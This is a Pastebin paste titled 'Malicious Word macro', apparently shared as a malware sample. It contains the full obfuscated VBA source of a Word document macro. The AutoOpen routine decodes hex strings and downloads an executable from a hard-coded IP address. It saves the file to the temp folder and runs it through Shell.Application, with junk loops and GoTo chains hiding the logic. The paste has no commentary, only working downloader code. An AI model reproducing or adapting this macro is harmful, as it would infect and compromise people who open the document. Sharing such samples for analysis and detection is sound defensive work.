SHARE
TWEET

Malicious Word macro

dynamoo Feb 13th, 2015 249 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10. Private Const nUe4Ab = "5368656C6C2E4170706C69636174696F6E"
  11. Private Const PYbGrEXRGi = "41444F44422E53747265616D"
  12. Private Const YFdMl = "536372697074696E672E46696C6553797374656D4F626A656374"
  13. Private Const Lg7Aw8VojXA = "474554"
  14. Private Const DJahAXEcL = "4D53584D4C322E584D4C48545450"
  15. Private Const PdwILpa = "5C64734848482E657865"
  16. Private Const VoN = "687474703A2F2F36322E37362E3138382E3232312F616B736A6464657277642F61736462776B2F64686F65692E657865"
  17. Private Const HsFYTVj = YFdMl
  18.  
  19. Sub autoopen()
  20.  
  21. Dim pLKmTlYcBcn As Integer
  22. pLKmTlYcBcn = 1817
  23. Do While pLKmTlYcBcn < 1817 + 10
  24. pLKmTlYcBcn = pLKmTlYcBcn + 1: DoEvents
  25. Loop
  26. Dim HHvvVfrTnSqI As Integer
  27. HHvvVfrTnSqI = 1723
  28. Do While HHvvVfrTnSqI < 1723 + 10
  29. HHvvVfrTnSqI = HHvvVfrTnSqI + 1: DoEvents
  30. Loop
  31. Dim fso, tempfile
  32. Dim wegAdivGbo As Integer
  33. wegAdivGbo = 867
  34. Do While wegAdivGbo < 867 + 10
  35. wegAdivGbo = wegAdivGbo + 1: DoEvents
  36. Loop
  37. Dim rTnSq As Integer
  38. rTnSq = 170
  39. Do While rTnSq < 170 + 10
  40. rTnSq = rTnSq + 1: DoEvents
  41. Loop
  42. Set fso = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  43. Dim ocNpL As Integer
  44. ocNpL = 2324
  45. Do While ocNpL < 2324 + 10
  46. ocNpL = ocNpL + 1: DoEvents
  47. Loop
  48. Dim ijsPxbqQdwuaUVTZJCJ As Integer
  49. ijsPxbqQdwuaUVTZJCJ = 1594
  50. Do While ijsPxbqQdwuaUVTZJCJ < 1594 + 10
  51. ijsPxbqQdwuaUVTZJCJ = ijsPxbqQdwuaUVTZJCJ + 1: DoEvents
  52. Loop
  53.  
  54. Dim HJqJP As Integer
  55. HJqJP = 929
  56. Do While HJqJP < 929 + 10
  57. HJqJP = HJqJP + 1: DoEvents
  58. Loop
  59. Dim cyKZGYKOo As Integer
  60. cyKZGYKOo = 2398
  61. Do While cyKZGYKOo < 2398 + 10
  62. cyKZGYKOo = cyKZGYKOo + 1: DoEvents
  63. Loop
  64. Dim tfolder, tname, tfile
  65. Dim IgnuZlkAE As Integer
  66. IgnuZlkAE = 2401
  67. Do While IgnuZlkAE < 2401 + 10
  68. IgnuZlkAE = IgnuZlkAE + 1: DoEvents
  69. Loop
  70. Dim HxdYZQcMF As Integer
  71. HxdYZQcMF = 2271
  72. Do While HxdYZQcMF < 2271 + 10
  73. HxdYZQcMF = HxdYZQcMF + 1: DoEvents
  74. Loop
  75. Const TemporaryFolder = 2
  76. Dim AEHyYn As Integer
  77. AEHyYn = 531
  78. Do While AEHyYn < 531 + 10
  79. AEHyYn = AEHyYn + 1: DoEvents
  80. Loop
  81. Dim DTYaRrTyjeS As Integer
  82. DTYaRrTyjeS = 1924
  83. Do While DTYaRrTyjeS < 1924 + 10
  84. DTYaRrTyjeS = DTYaRrTyjeS + 1: DoEvents
  85. Loop
  86. Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
  87. Dim uZlkAEH As Integer
  88. uZlkAEH = 818
  89. Do While uZlkAEH < 818 + 10
  90. uZlkAEH = uZlkAEH + 1: DoEvents
  91. Loop
  92. Dim ZGYKOocaTm As Integer
  93. ZGYKOocaTm = 1164
  94. Do While ZGYKOocaTm < 1164 + 10
  95. ZGYKOocaTm = ZGYKOocaTm + 1: DoEvents
  96. Loop
  97. strLink = AgbcafPQeuUUkbdUu(VoN)
  98. Dim ASCZISZUhy As Integer
  99. ASCZISZUhy = 1450
  100. Do While ASCZISZUhy < 1450 + 10
  101. ASCZISZUhy = ASCZISZUhy + 1: DoEvents
  102. Loop
  103. Dim BCMVQ As Integer
  104. BCMVQ = 690
  105. Do While BCMVQ < 690 + 10
  106. BCMVQ = BCMVQ + 1: DoEvents
  107. Loop
  108.  
  109. Dim DVSpZkpmxO As Integer
  110. DVSpZkpmxO = 1704
  111. Do While DVSpZkpmxO < 1704 + 10
  112. DVSpZkpmxO = DVSpZkpmxO + 1: DoEvents
  113. Loop
  114. Dim wRFOmh As Integer
  115. wRFOmh = 944
  116. Do While wRFOmh < 944 + 10
  117. wRFOmh = wRFOmh + 1: DoEvents
  118. Loop
  119. strSaveTo = tfolder & AgbcafPQeuUUkbdUu(PdwILpa)
  120. Dim tcbOAc As Integer
  121. tcbOAc = 2113
  122. Do While tcbOAc < 2113 + 10
  123. tcbOAc = tcbOAc + 1: DoEvents
  124. Loop
  125. Dim PjrhMHIGLw As Integer
  126. PjrhMHIGLw = 151
  127. Do While PjrhMHIGLw < 151 + 10
  128. PjrhMHIGLw = PjrhMHIGLw + 1: DoEvents
  129. Loop
  130.  
  131. Dim NfQUuU As Integer
  132. NfQUuU = 861
  133. Do While NfQUuU < 861 + 10
  134. NfQUuU = NfQUuU + 1: DoEvents
  135. Loop
  136. Dim YlMgLkBNBzt As Integer
  137. YlMgLkBNBzt = 1684
  138. Do While YlMgLkBNBzt < 1684 + 10
  139. YlMgLkBNBzt = YlMgLkBNBzt + 1: DoEvents
  140. Loop
  141.  
  142. Dim fQUuUgaspMi As Integer
  143. fQUuUgaspMi = 514
  144. Do While fQUuUgaspMi < 514 + 10
  145. fQUuUgaspMi = fQUuUgaspMi + 1: DoEvents
  146. Loop
  147. Dim BNBztL As Integer
  148. BNBztL = 1241
  149. Do While BNBztL < 1241 + 10
  150. BNBztL = BNBztL + 1: DoEvents
  151. Loop
  152. Set objHTTP = CreateObject(AgbcafPQeuUUkbdUu(DJahAXEcL))
  153. Dim UgaspMiG As Integer
  154. UgaspMiG = 769
  155. Do While UgaspMiG < 769 + 10
  156. UgaspMiG = UgaspMiG + 1: DoEvents
  157. Loop
  158. Dim qTkPQqxnSNMRDwDiIuJNQ As Integer
  159. qTkPQqxnSNMRDwDiIuJNQ = 641
  160. Do While qTkPQqxnSNMRDwDiIuJNQ < 641 + 10
  161. qTkPQqxnSNMRDwDiIuJNQ = qTkPQqxnSNMRDwDiIuJNQ + 1: DoEvents
  162. Loop
  163.  
  164. Dim bruxp As Integer
  165. bruxp = 896
  166. Do While bruxp < 896 + 10
  167. bruxp = bruxp + 1: DoEvents
  168. Loop
  169. Dim pzUiU As Integer
  170. pzUiU = 40
  171. Do While pzUiU < 40 + 10
  172. pzUiU = pzUiU + 1: DoEvents
  173. Loop
  174.  
  175. Dim UJeTKZjRRErS As Integer
  176. UJeTKZjRRErS = 2443
  177. Do While UJeTKZjRRErS < 2443 + 10
  178. UJeTKZjRRErS = UJeTKZjRRErS + 1: DoEvents
  179. Loop
  180. Dim oOpAuMvRBMSO As Integer
  181. oOpAuMvRBMSO = 53
  182. Do While oOpAuMvRBMSO < 53 + 10
  183. oOpAuMvRBMSO = oOpAuMvRBMSO + 1: DoEvents
  184. Loop
  185. objHTTP.Open AgbcafPQeuUUkbdUu(Lg7Aw8VojXA), strLink, False
  186. Dim uVsESARDHh As Integer
  187. uVsESARDHh = 1793
  188. Do While uVsESARDHh < 1793 + 10
  189. uVsESARDHh = uVsESARDHh + 1: DoEvents
  190. Loop
  191. Dim ZIrtNq As Integer
  192. ZIrtNq = 1729
  193. Do While ZIrtNq < 1729 + 10
  194. ZIrtNq = ZIrtNq + 1: DoEvents
  195. Loop
  196. objHTTP.send
  197. Dim GlLxNQTL As Integer
  198. GlLxNQTL = 1951
  199. Do While GlLxNQTL < 1951 + 10
  200. GlLxNQTL = GlLxNQTL + 1: DoEvents
  201. Loop
  202. Dim xAsQgZIr As Integer
  203. xAsQgZIr = 1413
  204. Do While xAsQgZIr < 1413 + 10
  205. xAsQgZIr = xAsQgZIr + 1: DoEvents
  206. Loop
  207.  
  208. Dim mUUHu As Integer
  209. mUUHu = 2014
  210. Do While mUUHu < 2014 + 10
  211. mUUHu = mUUHu + 1: DoEvents
  212. Loop
  213. Dim OpAuMvR As Integer
  214. OpAuMvR = 906
  215. Do While OpAuMvR < 906 + 10
  216. OpAuMvR = OpAuMvR + 1: DoEvents
  217. Loop
  218. Set objFSO = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  219. Dim tMgzu As Integer
  220. tMgzu = 1942
  221. Do While tMgzu < 1942 + 10
  222. tMgzu = tMgzu + 1: DoEvents
  223. Loop
  224. Dim EQiwEFOmhK As Integer
  225. EQiwEFOmhK = 1628
  226. Do While EQiwEFOmhK < 1628 + 10
  227. EQiwEFOmhK = EQiwEFOmhK + 1: DoEvents
  228. Loop
  229. If objFSO.FileExists(strSaveTo) Then
  230. Dim LKykL As Integer
  231. LKykL = 1815
  232. Do While LKykL < 1815 + 10
  233. LKykL = LKykL + 1: DoEvents
  234. Loop
  235. Dim sRRsB As Integer
  236. sRRsB = 328
  237. Do While sRRsB < 328 + 10
  238. sRRsB = sRRsB + 1: DoEvents
  239. Loop
  240.   objFSO.DeleteFile (strSaveTo)
  241. Dim kLiuIqHu As Integer
  242. kLiuIqHu = 1690
  243. Do While kLiuIqHu < 1690 + 10
  244. kLiuIqHu = kLiuIqHu + 1: DoEvents
  245. Loop
  246. Dim lzvesR As Integer
  247. lzvesR = 1151
  248. Do While lzvesR < 1151 + 10
  249. lzvesR = lzvesR + 1: DoEvents
  250. Loop
  251. End If
  252. Dim LJDVSpLkpmxAlmvFAetMgzu As Integer
  253. LJDVSpLkpmxAlmvFAetMgzu = 1942
  254. Do While LJDVSpLkpmxAlmvFAetMgzu < 1942 + 10
  255. LJDVSpLkpmxAlmvFAetMgzu = LJDVSpLkpmxAlmvFAetMgzu + 1: DoEvents
  256. Loop
  257. Dim woNqUSAp As Integer
  258. woNqUSAp = 437
  259. Do While woNqUSAp < 437 + 10
  260. woNqUSAp = woNqUSAp + 1: DoEvents
  261. Loop
  262.  
  263. Dim QJQvH As Integer
  264. QJQvH = 2493
  265. Do While QJQvH < 2493 + 10
  266. QJQvH = QJQvH + 1: DoEvents
  267. Loop
  268. Dim GLITlzHI As Integer
  269. GLITlzHI = 1608
  270. Do While GLITlzHI < 1608 + 10
  271. GLITlzHI = GLITlzHI + 1: DoEvents
  272. Loop
  273. If objHTTP.Status = 200 Then
  274. Dim ntpADSopzID As Integer
  275. ntpADSopzID = 1957
  276. Do While ntpADSopzID < 1957 + 10
  277. ntpADSopzID = ntpADSopzID + 1: DoEvents
  278. Loop
  279. Dim ITlzHIRqkN As Integer
  280. ITlzHIRqkN = 692
  281. Do While ITlzHIRqkN < 692 + 10
  282. ITlzHIRqkN = ITlzHIRqkN + 1: DoEvents
  283. Loop
  284.   Dim objStream
  285. Dim DhwPkCxnSb As Integer
  286. DhwPkCxnSb = 597
  287. Do While DhwPkCxnSb < 597 + 10
  288. DhwPkCxnSb = DhwPkCxnSb + 1: DoEvents
  289. Loop
  290. Dim MUJpllko As Integer
  291. MUJpllko = 682
  292. Do While MUJpllko < 682 + 10
  293. MUJpllko = MUJpllko + 1: DoEvents
  294. Loop
  295.   Set objStream = CreateObject(AgbcafPQeuUUkbdUu(PYbGrEXRGi))
  296. Dim ruIeg As Integer
  297. ruIeg = 2425
  298. Do While ruIeg < 2425 + 10
  299. ruIeg = ruIeg + 1: DoEvents
  300. Loop
  301. Dim muHjDiGYyZewfCmw As Integer
  302. muHjDiGYyZewfCmw = 1251
  303. Do While muHjDiGYyZewfCmw < 1251 + 10
  304. muHjDiGYyZewfCmw = muHjDiGYyZewfCmw + 1: DoEvents
  305. Loop
  306.   With objStream
  307. Dim uIegpzu As Integer
  308. uIegpzu = 2265
  309. Do While uIegpzu < 2265 + 10
  310. uIegpzu = uIegpzu + 1: DoEvents
  311. Loop
  312. Dim MUJpllkognEfe As Integer
  313. MUJpllkognEfe = 874
  314. Do While MUJpllkognEfe < 874 + 10
  315. MUJpllkognEfe = MUJpllkognEfe + 1: DoEvents
  316. Loop
  317.     .Type = 1
  318. Dim dwrgLUVTZJ As Integer
  319. dwrgLUVTZJ = 1298
  320. Do While dwrgLUVTZJ < 1298 + 10
  321. dwrgLUVTZJ = dwrgLUVTZJ + 1: DoEvents
  322. Loop
  323. Dim jeHJqwPYMt As Integer
  324. jeHJqwPYMt = 1361
  325. Do While jeHJqwPYMt < 1361 + 10
  326. jeHJqwPYMt = jeHJqwPYMt + 1: DoEvents
  327. Loop
  328.     .Open
  329. Dim xbqJdwrgL As Integer
  330. xbqJdwrgL = 853
  331. Do While xbqJdwrgL < 853 + 10
  332. xbqJdwrgL = xbqJdwrgL + 1: DoEvents
  333. Loop
  334. Dim oonsdkr As Integer
  335. oonsdkr = 2058
  336. Do While oonsdkr < 2058 + 10
  337. oonsdkr = oonsdkr + 1: DoEvents
  338. Loop
  339.     .Write objHTTP.responseBody
  340. Dim JOAtAfrrGK As Integer
  341. JOAtAfrrGK = 594
  342. Do While JOAtAfrrGK < 594 + 10
  343. JOAtAfrrGK = JOAtAfrrGK + 1: DoEvents
  344. Loop
  345. Dim mFNDje As Integer
  346. mFNDje = 2269
  347. Do While mFNDje < 2269 + 10
  348. mFNDje = mFNDje + 1: DoEvents
  349. Loop
  350.     .SaveToFile strSaveTo
  351. Dim dZkoCYajsnQh As Integer
  352. dZkoCYajsnQh = 183
  353. Do While dZkoCYajsnQh < 183 + 10
  354. dZkoCYajsnQh = dZkoCYajsnQh + 1: DoEvents
  355. Loop
  356. Dim pZvfqwsDUjrs As Integer
  357. pZvfqwsDUjrs = 1289
  358. Do While pZvfqwsDUjrs < 1289 + 10
  359. pZvfqwsDUjrs = pZvfqwsDUjrs + 1: DoEvents
  360. Loop
  361.     .Close
  362. Dim hlKzwqIF As Integer
  363. hlKzwqIF = 942
  364. Do While hlKzwqIF < 942 + 10
  365. hlKzwqIF = hlKzwqIF + 1: DoEvents
  366. Loop
  367. Dim QcpmUiHH As Integer
  368. QcpmUiHH = 639
  369. Do While QcpmUiHH < 639 + 10
  370. QcpmUiHH = QcpmUiHH + 1: DoEvents
  371. Loop
  372.   End With
  373. Dim QuZIEtN As Integer
  374. QuZIEtN = 226
  375. Do While QuZIEtN < 226 + 10
  376. QuZIEtN = QuZIEtN + 1: DoEvents
  377. Loop
  378. Dim hZxMFYauQcpm As Integer
  379. hZxMFYauQcpm = 1301
  380. Do While hZxMFYauQcpm < 1301 + 10
  381. hZxMFYauQcpm = hZxMFYauQcpm + 1: DoEvents
  382. Loop
  383.   Set objStream = Nothing
  384. Dim xAsQuZIE As Integer
  385. xAsQuZIE = 37
  386. Do While xAsQuZIE < 37 + 10
  387. xAsQuZIE = xAsQuZIE + 1: DoEvents
  388. Loop
  389. Dim ejrhMUVTZw As Integer
  390. ejrhMUVTZw = 195
  391. Do While ejrhMUVTZw < 195 + 10
  392. ejrhMUVTZw = ejrhMUVTZw + 1: DoEvents
  393. Loop
  394. End If
  395. Dim LkQuJqwPY As Integer
  396. LkQuJqwPY = 799
  397. Do While LkQuJqwPY < 799 + 10
  398. LkQuJqwPY = LkQuJqwPY + 1: DoEvents
  399. Loop
  400. Dim xMiVfC As Integer
  401. xMiVfC = 1145
  402. Do While xMiVfC < 1145 + 10
  403. xMiVfC = xMiVfC + 1: DoEvents
  404. Loop
  405.  
  406. Dim fgBCLkQuJqw As Integer
  407. fgBCLkQuJqw = 2126
  408. Do While fgBCLkQuJqw < 2126 + 10
  409. fgBCLkQuJqw = fgBCLkQuJqw + 1: DoEvents
  410. Loop
  411. Dim egMhmukPZ As Integer
  412. egMhmukPZ = 1445
  413. Do While egMhmukPZ < 1445 + 10
  414. egMhmukPZ = egMhmukPZ + 1: DoEvents
  415. Loop
  416. If objFSO.FileExists(strSaveTo) Then
  417. Dim QijEFPnTx As Integer
  418. QijEFPnTx = 525
  419. Do While QijEFPnTx < 525 + 10
  420. QijEFPnTx = QijEFPnTx + 1: DoEvents
  421. Loop
  422. Dim dyLylMihJrI As Integer
  423. dyLylMihJrI = 1443
  424. Do While dyLylMihJrI < 1443 + 10
  425. dyLylMihJrI = dyLylMihJrI + 1: DoEvents
  426. Loop
  427.  
  428. Dim hYmwffR As Integer
  429. hYmwffR = 1063
  430. Do While hYmwffR < 1063 + 10
  431. hYmwffR = hYmwffR + 1: DoEvents
  432. Loop
  433. Dim uxAsR As Integer
  434. uxAsR = 740
  435. Do While uxAsR < 740 + 10
  436. uxAsR = uxAsR + 1: DoEvents
  437. Loop
  438. End If
  439. Dim lLKbQTLkNsqY As Integer
  440. lLKbQTLkNsqY = 1942
  441. Do While lLKbQTLkNsqY < 1942 + 10
  442. lLKbQTLkNsqY = lLKbQTLkNsqY + 1: DoEvents
  443. Loop
  444. Dim xAsRgZJr As Integer
  445. xAsRgZJr = 1434
  446. Do While xAsRgZJr < 1434 + 10
  447. xAsRgZJr = xAsRgZJr + 1: DoEvents
  448. Loop
  449.  Set GBIviviu67FUGBK = CreateObject(AgbcafPQeuUUkbdUu(nUe4Ab))
  450. Dim UHIjsEhAfDVi As Integer
  451. UHIjsEhAfDVi = 1814
  452. Do While UHIjsEhAfDVi < 1814 + 10
  453. UHIjsEhAfDVi = UHIjsEhAfDVi + 1: DoEvents
  454. Loop
  455. Dim bCkBo As Integer
  456. bCkBo = 975
  457. Do While bCkBo < 975 + 10
  458. bCkBo = bCkBo + 1: DoEvents
  459. Loop
  460. GBIviviu67FUGBK.Open strSaveTo
  461. Dim QOnQvtbPkbRf As Integer
  462. QOnQvtbPkbRf = 1543
  463. Do While QOnQvtbPkbRf < 1543 + 10
  464. QOnQvtbPkbRf = QOnQvtbPkbRf + 1: DoEvents
  465. Loop
  466. Dim EseFcbC As Integer
  467. EseFcbC = 183
  468. Do While EseFcbC < 183 + 10
  469. EseFcbC = EseFcbC + 1: DoEvents
  470. Loop
  471. End Sub
  472.  
  473.  
  474. Public Function AgbcafPQeuUUkbdUu(ByVal ERgNfQ As String) As String
  475. GoTo pNdVFnqKnrFP
  476. pNdVFnqKnrFP:
  477. GoTo lYzVTwevhlKl
  478. lYzVTwevhlKl:
  479. GoTo IFdyQOLQoC
  480. IFdyQOLQoC:
  481. Dim ujgaspMiGMIUYmH As String
  482. GoTo toQSzTZhQCLLKPmtAfs
  483. toQSzTZhQCLLKPmtAfs:
  484. GoTo KNFetmVEGbDIVSB
  485. KNFetmVEGbDIVSB:
  486. GoTo oPYlMgLkB
  487. oPYlMgLkB:
  488. GoTo DxPyVFPVRe
  489. DxPyVFPVRe:
  490. GoTo QSczuYaGMgodJEED
  491. QSczuYaGMgodJEED:
  492. GoTo AHYyxNDGyQA
  493. AHYyxNDGyQA:
  494. Dim SdQAQjDQQGmv As String
  495. GoTo zTKBOZHHvvVfrTnS
  496. zTKBOZHHvvVfrTnS:
  497. Dim uykdkObbr As Long
  498. GoTo IFzRPmVgmiuLLijsPxb
  499. IFzRPmVgmiuLLijsPxb:
  500. GoTo dwEuaUVTZJCJoOAQTQOo
  501. dwEuaUVTZJCJoOAQTQOo:
  502. GoTo gbPkbRfpZYL
  503. gbPkbRfpZYL:
  504. GoTo vHVDUGKlZQQjgCYxCzKN
  505. vHVDUGKlZQQjgCYxCzKN:
  506. GoTo zISNrGatMHwc
  507. zISNrGatMHwc:
  508. For uykdkObbr = 1 To Len(ERgNfQ) Step 2
  509. GoTo paSaERQh
  510. paSaERQh:
  511. GoTo fETLwegAd
  512. fETLwegAd:
  513. ujgaspMiGMIUYmH = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(ERgNfQ, uykdkObbr, 2)))
  514. GoTo bocNpLKmTlYcBcn
  515. bocNpLKmTlYcBcn:
  516. GoTo wSpNFBNetOCL
  517. wSpNFBNetOCL:
  518. GoTo HJqJPY
  519. HJqJPY:
  520. GoTo BCAFdjrUih
  521. BCAFdjrUih:
  522. SdQAQjDQQGmv = SdQAQjDQQGmv & ujgaspMiGMIUYmH
  523. GoTo vUkcMuwRuyMIrF
  524. vUkcMuwRuyMIrF:
  525. GoTo FObDQB
  526. FObDQB:
  527. GoTo RsDxPyVFPV
  528. RsDxPyVFPV:
  529. GoTo uJQScz
  530. uJQScz:
  531. Next uykdkObbr
  532. GoTo GMgod
  533. GMgod:
  534. GoTo EDItAHYyxNDGyQ
  535. EDItAHYyxNDGyQ:
  536. GoTo dKzTKB
  537. dKzTKB:
  538. GoTo HHvvVfrTnSqIUIFzRPmV
  539. HHvvVfrTnSqIUIFzRPmV:
  540. GoTo iuLLijsP
  541. iuLLijsP:
  542. GoTo qQdwE
  543. qQdwE:
  544. GoTo UVTZJ
  545. UVTZJ:
  546. AgbcafPQeuUUkbdUu = SdQAQjDQQGmv
  547. GoTo OAQTQOoQv
  548. OAQTQOoQv:
  549. GoTo PkbRf
  550. PkbRf:
  551. GoTo YLxZvHVDUGKlZQQjgCYx
  552. YLxZvHVDUGKlZQQjgCYx:
  553. GoTo KNdyzISNrGat
  554. KNdyzISNrGat:
  555. GoTo wclmkpaSaERQhln
  556. wclmkpaSaERQhln:
  557. End Function
RAW Paste Data
Top